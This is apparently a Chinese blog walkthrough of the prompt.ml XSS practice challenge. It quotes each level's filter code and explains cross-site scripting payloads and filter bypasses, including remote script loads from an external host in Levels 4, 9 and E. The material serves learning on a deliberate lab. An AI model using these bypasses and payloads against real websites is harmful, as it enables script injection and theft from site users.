Prompt(1)to win練習
- 關于Prompt(1) to win
- Level 0
- Level 1
- Level 2
- Level 3
- Level 4
- Level 5
- Level 6
- Level 7
- Level 8
- Level 9
- Level A
- Level B
- Level C
- Level D
- Level E
- Level F
- Hidden Level -1
- Hidden Level -2
- Hidden Level -3
- Hidden Level -4
關于Prompt(1) to win
這是一個練習XSS攻擊的線上平台
網址:http://prompt.ml
我主要使用的浏覽器:Google Chrome
如果打不開這個網頁可能是因為浏覽器覺得它不安全是以屏蔽了,在設定中允許“彈出式視窗和重定向”即可。
打開後是這樣的:
關于Level
平台主要有
16個Level
和4個
Hidden Level
,也就是說它總共有20道題目。
16個Level可通過點選界面中0到F的綠色按鈕跳轉
但是Hidden Level我一直沒找到選擇按鈕,最後試了很久的URL才找到。
Hidden Level的URL:
Level | URL |
---|---|
Hidden Level -1 | http://prompt.ml/-1 |
Hidden Level -2 | http://prompt.ml/-2 |
Hidden Level -3 | http://prompt.ml/-3 |
Hidden Level -4 | http://prompt.ml/-4 |
挑戰規則:
- 隻有無需使用者互動的XSS向量,才會被認定為有效的向量
- 當使用者輸入有效且能執行prompt(1)的向量時,會自動送出使用者的答案。并顯示YOU WON字樣
參考:
-
github上有英文解答,非常完整:
https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml
-
部落格:
https://xz.aliyun.com/t/4507
https://blog.csdn.net/Ni9htMar3/article/details/77938899
https://lorexxar.cn/2015/07/02/xss-p/
https://blog.csdn.net/qq_35078631/article/details/77073233
我跟着github上的解答和部落格動手做了一遍,但是有些無法成功,可能是因為浏覽器修複了漏洞。
Level 0
這是個熱身題
- 網上有好幾種解答,都是使用
<script>
"><script>prompt(1)</script>//
"><script>prompt(1)</script><"
"><script>prompt(1)</script>
-
另外還做了其他XSS攻擊的嘗試:
(1)利用
<img>
(2)利用alert()
payload:
"><script>alert()</script><"
Level 1
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
使用了ExtJS庫中的tags stripping機制。
stripTags()
:将提供字元串中的HTML标簽進行替換并傳回替換後的字元串。
JS正規表達式:
regularexpression=/pattern/[switch]
列了幾個常見的正則表達:
JS正規表達式 | 含義 |
---|---|
gi | 全局比對 + 忽略大小寫 |
\w+ | 多個英文字母或數字或下劃線組成的 |
/? | 0個或1個“/” |
例如:
-
<a>
-
</span>
-
</dd/>
-
<INPUT/>
過濾了
<>
裡面含有内容的檔案。
src與onload
- src引用的圖檔不存在則執行onerror事件
- onload事件會在頁面或圖像加載完成後立即發生
1. 使用
//
注釋了多出的
<
payload:
2. 在
<body onload="load()">
:頁面加載之後立即執行一段 JavaScript
payload:
Level 2
代碼:
input = input.replace(/[=(]/g, '');
[]
:中括号,比對括号其中的一個
過濾了等号
=
和左括号
(
- 使用
标簽svg
svg
标簽
- 即 Scalable Vector Graphics,是一種用來繪制矢量圖的 HTML5 标簽。
- svg标簽中的元素會先進行編碼轉換,是以十進制下的
或者·(
;會被轉換為(
(
- svg會提前将将XML實體解析再加入标簽
- 在Firefox、Internet Explorer9、谷歌Chrome和Safari中,可以直接在HTML嵌入SVG代碼。
payload:
2. 使用
eval()
函數
eval()
:函數可計算某個字元串,并執行其中的的JavaScript代碼。
使用eval會自動解碼執行。
payload:
<script>eval.call`${'prompt\x281)'}`</script>
<script>prompt.call`${1}\`</script>
Level 3
過濾注釋和分隔符
注釋輸入以避免腳本執行
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
html可以–>或–!>閉合注釋
payload:
或者:
Level 4
隻允許如下站點的腳本 http://prompt.ml/js/test.js
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
輸入:http://prompt.ml/js/test.js
并且在被允許輸入的網址後添加引号會被轉義
在URI中包含的%2f的都轉成/
浏覽器支援這樣的url:http://user:[email protected]。但是http://user:password/@attacker.com是不允許的。由于這裡的正則特性和decodeURIComponent函數,是以可以使用%2f繞過,如下:http://prompt.ml%[email protected]。
利用伺服器構造,然後我們構造代碼出來(本步驟需要有伺服器)
這裡我使用了Firefox浏覽器。
構造一個檔案"prompt(1)",内容為
prompt(1)
開啟phpstudy伺服器
payload:
Level 5
代碼:
過濾
>
,和事件處理器
onxxx=
,
focus
利用image類型,将input的type類型覆寫,是以定義一個類型。再利用回車繞過
onxxx=
payload:
"type= image src onerror
="prompt(1)
Level 6
需要輸入的格式為url#表單内容
e.g. http://httpbin.org/post#{“name”:“Matt”}
按照例子正常輸入得到:
以
#
分割,前面賦給form.action,後面給form.data。
這裡使用js僞協定。
- 真”協定用來在計算機之間傳輸資料包,比如http協定,ftp協定;
-
僞協定是一種非标準化的協定,讓使用者可以通過連結來調用js函數。javascript(僞協定說明符):URL。這個特殊的協定類型聲明了URL的主體是任意的javascript代碼,它由javascript的解釋器運作。
例如:
//執行這個URL中包含的javascript代碼,并把最後一條javascript語句的字元串值作為新文檔的内容顯示出來。
javascript:var now = new Date(); "<h1>The time is:</h1>" + now;
//浏覽器僅執行其中的javascript代碼,但由于沒有作為新文檔來顯示的值,是以它并不改變目前顯示的文檔。
javascript:alert("hello world!")
//打開一個新的空浏覽器視窗,而不改變目前視窗的内容
javascript:window.open("about:blank"); void 0;
payload:
Level 7
以
#
分割字元串,這裡有長度的限制,隻能包含12個字元。
1. 使用
<svg>
:
payload:
2: 利用
<script>
标簽的注釋功能
payload:
"><script>/*#*/prompt(/*#*/1)/*#*/</script>
//"
Level 8
code:
過濾了換行符
\r\n
,左尖括号
<
,引号
"
逃脫出雙引号或者本行,利用了unicode
U+2028,是Unicode中的行分隔符
U+2029,是Unicode中的段落分隔符。
--> 在js中可當注釋使用
JSON uses a more limited set of white space characters than WhiteSpace and allows Unicode code points U+2028 and U+2029 to directly appear in JSONString literals without using an escape sequence. -----ECMAscript 5.1
JSON使用比WhiteSpace更加受限的一組空白字元,并允許Unicode代碼點U + 2028和U + 2029直接出現在JSONString文字中,而不使用轉義序列。
開發工具與右擊檢查的差別:
- 開發者工具看到的是編譯後加載的所有源碼,是最初下載下傳的網頁代碼。
- 右鍵檢查的隻是目前頁面顯示的,經過ajax異步加載,js修改過的,需要動态執行JS才能擷取。
Console:記錄開發者開發過程中的日志資訊,且可以作為與JS進行互動的指令行Shell。
如圖找到開發者工具,在console中輸入:
'\u2028prompt(1)\u2028-->'
複制結果輸入payload:
"
prompt(1)
-->"
截圖更能看清,prompt(1)周圍不是空格,是有兩個紅色的點
使用
u2029
效果也是一樣的
Level 9
code:
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}
過濾了開始标簽
<
,比對尖括号加字母的形式,将
<
後面的所有字元前全部加
_
。
并把内容轉為大寫。
提供了一個示例
you shall not pass!
toUpperCase():把字元串轉換為大寫,而且還可以轉換一些unicode字元,可以将
ſ
轉換為
S
,這裡的
ſ
字元應該是某個國家的unicode字元,轉換後恰好對應s,是以可以完成繞過。
但是由于因為javascript對大小寫敏感,,不識别PROMPT(1),是以使用加載遠端的js腳本。
然後使用與Level 4 相同的方法。在本地伺服器phpstudy目錄的www檔案夾内建立一個檔案"xss.js",内容為
prompt(1)
payload:
Level A
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}
過濾了所有
prompt
和
'
,是以可以把
prompt(1)
加上
'
就可以使用第二個過濾剛好把
'
過濾掉。
payload:
Level B
過濾了一些特殊字元
将payload包裝在括号中,然後使用in運算符将其連接配接到輸出。
payload:
Level C
encodeURIComponent(URIstring)
函數可把字元串作為 URI 元件進行編碼。傳回URIstring的副本,其中的某些字元将被十六進制的轉義序列進行替換。
過濾了單引号
'
,并把
prompt
替換成
alert
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');
但是,
.
和
()
不編碼,是以可以使用JavaScript函數
toString()
。
toString()有一個可選參數
toString(radix)
,此參數允許表示從二進制(基數2)到Base36的不同基數的數值。
找到一個足夠大的基數來包含所需的所有字元,可以将字元串編碼為一個數字,然後
eval
轉換的結果(數字>字元串)。
字元串
prompt
在Base36中相當于
1558153217
另外還要使用
concat (1)
來正确使用
eval
payload:
Level D
一個簡單的圖檔插件
從Underscore庫擴充方法
正确輸入示例:
代碼:
符号 | 含義 |
---|---|
| 脫字元 |
| 左方括号後緊跟一個脫字元,排除型字元組,比對一個未列出的字元。 |
| 用于比對字母,數字或下劃線字元 |
main rules:
- 隻能有一個
keysource
-
source
key必須有一個有效的value
不然會被删除
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
方法:使用
Object.prototype
的
__proto__
特性
The proto property of Object.prototype is an accessor property (a getter function and a setter function) that exposes the internal [[Prototype]] (either an object or null) of the object through which it is accessed.
類似于這樣的object:
{"source":"_-_invalid-URL_-_","__proto__":{"source":"my_evil_payload"}}`
但是URL是invalid,會觸發delete
使用
String.replace()
$` | Inserts the portion of the string that follows the matched substring
是以,注入如下:
payload:
Level E
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
- 轉大寫
-
僅允許從自己的主機或資料URI方案加載的圖像
全局比對,遇到
,或者//
後面跟\w
(:
比對字母、數字、下劃線。等價于’[A-Za-z0-9_]’),都替換成\w
data:
-
雜項過濾
全局比對,不區分大小寫
,\&+%
(比對任何空白字元,包括空格、制表符、換頁符等等。等價于 [ \f\n\r\t\v]。),或者\s
都替換成vbs
_
限制:
1.代碼在全大寫情況下也能執行
2.不能從除了
data:
以外的任何URI scheme載入任何東西
3.字元
&
,
%
被鎖住了,不能使用十六進制或是進制編碼的小寫xss (
�, \x00, %00,
等)
Data URI scheme是在RFC2397中定義的,目的是将一些小的資料,直接嵌入到網頁中,進而不用再從外部檔案載入。
FireFox接受"BASE64"作為編碼定義
payload:
<SCRIPT /
SRC =HTTPS:PMT1.ML> </SCRIPT <>
編碼後:
ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
payload:(但是Firefox和Chrome都沒有成功)
Level F
和Level 7很像,都是用
#
把輸入分割成段。
每個段被剝離到最大長度為15個字元,并用标簽
<p>
包裹。
與Level 7的差別:不能用JS注釋
/*
,并且,由于添加到每個段的"data-comment"屬性,引用會被切掉。
方法:用
<svg>
标簽中的HTML注釋
<!--
隐藏
junk
<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt(1<!--" data-comment='{"id":2}'></p>
<p class="comment" title="-->)</script>" data-comment='{"id":3}'></p>
payload:
Hidden Level -1
過濾了
}
和
<
用到了2個trick:
-
(Javascript)Hoisting
it does not matter where you put your objects, if I find a declaration I’ll evaluate it first of all.
JavaScript hoists declarations
注入一個名為history的新對象的聲明,其長度大到1337。這樣它将被提升hoist并将用建立的新對象覆寫現有的history對象,并将繞過條件語句。
使用Function對象
-
trick with is useful pattern:String.replace()
它的作用是在字元串中插入比對的子字元串,正是我們正在尋找的,因為比對的子字元串{{injection}}包含結束的大括号!$&
類似于這樣的
if (history.length > 1337) {
// you can inject any code here
// as long as it will be executed
function history(l,o,r,e,m...1338 times...){{injection}}
prompt(1)
}
payload寫成
完整的2704字元的payload: chrome和Firefox都沒有成功
Hidden Level -2
function escape(input) {
// Christmas special edition!
// Ho ho ho these characters are in Santa's naughty list
input = input.replace(/[!=*`]/g, '');
// pass in your wishes like pets#toys#half-life3...
var segments = input.split('#');
return segments.map(function(title, index) {
// Don't be greedy! Each present can only contain 20 characters
return '<p class="present" title="' + title.slice(0, 20) + '"></p>';
}).join('\n');
}
輸入聖誕禮物,把輸入以
#
隔開
過濾字元
!=*`
告訴MSIE(至少在以較舊的文檔模式加載頁面時),可能存在某些類型的代碼塊,它們在JavaScript塊中調用完全不同的解析器。此解析器遵循其自己的規則并允許包圍完全無效的代碼塊而不會抛出任何文法錯誤。
payload:
Internet Explorer 10标準模式和所有早期版本均支援條件編譯。
沒有成功,可能是因為浏覽器版本太高。
Hidden Level -3
通過一次注入影響兩種不同的上下文。一個是發送給Twitter的人的API調用,另一個是字元串連接配接到HTML元素。似乎無法注入新參數,絕對不能破壞HTML并建立新元素。
function escape(input) {
// I iz fabulous cat
// cat hatez dem charz
var query = input.replace(/[&#>]/g, '');
var script = document.createElement('script');
// find me on Twttr
script.src = 'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=' + query + '&callback=swag';
return '<input name="query" type="hidden" value="' + query + '">' +
script.outerHTML;
}
payload:
攻擊利用了過濾腳本和實際API之間的“誤解”。 該腳本試圖壓制字元的使用,以允許突破或API參數的更改。 但我們可以通過使用來繞過它
;
代替
&
。然後,我們隻是注入一個單擊處理程式,它會監聽并等待API實際觸發事件,進而執行所需的提示。
請注意,最近API已更改,是以PoC不再工作。
Hidden Level -4
function escape(input) {
// You know the rules and so do I
input = input.replace(/"/g, '');
return '<body οnlοad="think.out.of.the.box(' + input + ')">';
}
過濾了引号
這個Level提出了一個看似不可能的挑戰,通常也可以在現實生活中進行注入。這個挑戰,似乎與Hidden Level “-1”有關。 我們可以注入現有的onload事件屬性,但是無法轉義屬性并建立新屬性。
在注入之前,需要執行其他代碼,這個代碼産生錯誤來阻止我們自己的注入的代碼。
payload:
該解決方案可能适用于某些舊版本的Chrome,而對于其他版本,則需要使用不同的矢量。是以這個payload也不成功。